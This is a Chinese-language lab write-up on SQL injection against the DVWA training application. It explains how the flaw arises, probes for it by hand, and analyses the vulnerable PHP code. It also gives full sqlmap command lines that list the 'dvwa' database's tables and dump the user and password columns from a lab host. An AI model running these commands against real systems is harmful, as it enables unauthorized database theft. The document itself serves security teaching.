实验目的
- 学习sql显注的漏洞判断原理
- 掌握sqlmap工具的使用
- 分析SQL注入漏洞的成因
实验工具
sqlmap
sqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6中SQL注入手段。
实验内容
SQL注入(SQL Injection )
SQL注入攻击的产生 当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。 如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入。
SQL注入漏洞的本质是把用户输入的数据当做代码来执行,违背了
数据与代码分离
的原则。SQL注入漏洞有两个关键条件,理解这两个条件可以帮助我们理解并防御SQL注入漏洞:
- 用户能控制输入的内容
- Web应用执行的代码中,拼接了用户输入的内容
实验步骤
本次实验中,我们先手工发现注入点,再使用sqlmap工具来注入。
步骤1:发现注入
将dvwa的级别设置为high,我们会发现页面变化与之前相比,存在很大的变化,我们按照之前输入1和1'的方式进行测试。
我们会发现存在如下的差别:
1 当我们不论输入任何内容,web页面并非从当前页面返回结果,而且是在另一个页面。
2 当我们输入1'的时候,出现的报错为:Something went wrong.
如果这是一份不负责任的文档,会这样进行描述:当我们输入1'的时候,没有返回正常的页面,据此可以判断为存在sql注入,并且为显注!
但实际上这种认知是错的,sql注入的本质是:恶意用户的输入特殊字符导致sql语句产生歧义,从而达到利用web接口操纵数据库的目的。
如果报错信息为sql数据库的报错,则可以判定为sql显注。但是返回非数据库的报错时,我们不能简单的划分为显注。甚至于我们根本无法判定是否真的存在注入点。
步骤2:使用sqlmap进行测试
sqlmap常用选项:
--second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
--tables -D "数据库" 列举数据库的表名
--columns -T "表名" -D "数据库" 获取表的列名
--dump -C "字段,字段" -T "表名" -D "数据库" 获取表中的数据,包含列
备注:以上命令是在进行数据窃取,为此强烈建议不要真实的环境,哪怕是个白帽行为!
抓取http请求,并保存至root文档,并将文档命名为2
我们此时可以执行sqlmap -r /root/2 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
进行攻击测试,我们会发现此页面确实存在sql注入漏洞。
如果我们仔细观察sqlmap的payload,我们会发现,此次的注入实际上是基于时间的注入。
执行上一个命令后,我们会知道存在一个名为dvwa
的数据库。我们将依次输入以下命令,进行一步一步的"脱裤"操作。
此步骤使用
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D "dvwa" --tables
进行查询dvwa数据库的表名
此步骤使用
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T "users" -D "dvwa"
进行查询user表中的列
步骤使用
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C "user,password" -T "users" -D "dvwa"
进行"脱裤"
至此,我们针对sql注入进行了一次完整的从检测到窃取数据的模拟攻击!
实验分析
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
$html .= '<pre>';
$html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
$html .= '</pre>';
$i++;
}
}
}
?>
通过查看代码,我们发现代码获取了参数以后,依旧是直接带入到sql中进行查询。
虽然增加一层 or die('<pre>....') 的响应,过滤掉了1'所导致的sql报错。
但因为先前直接未经任何过滤而直接带入到sql,所以依旧产生了sql注入漏洞。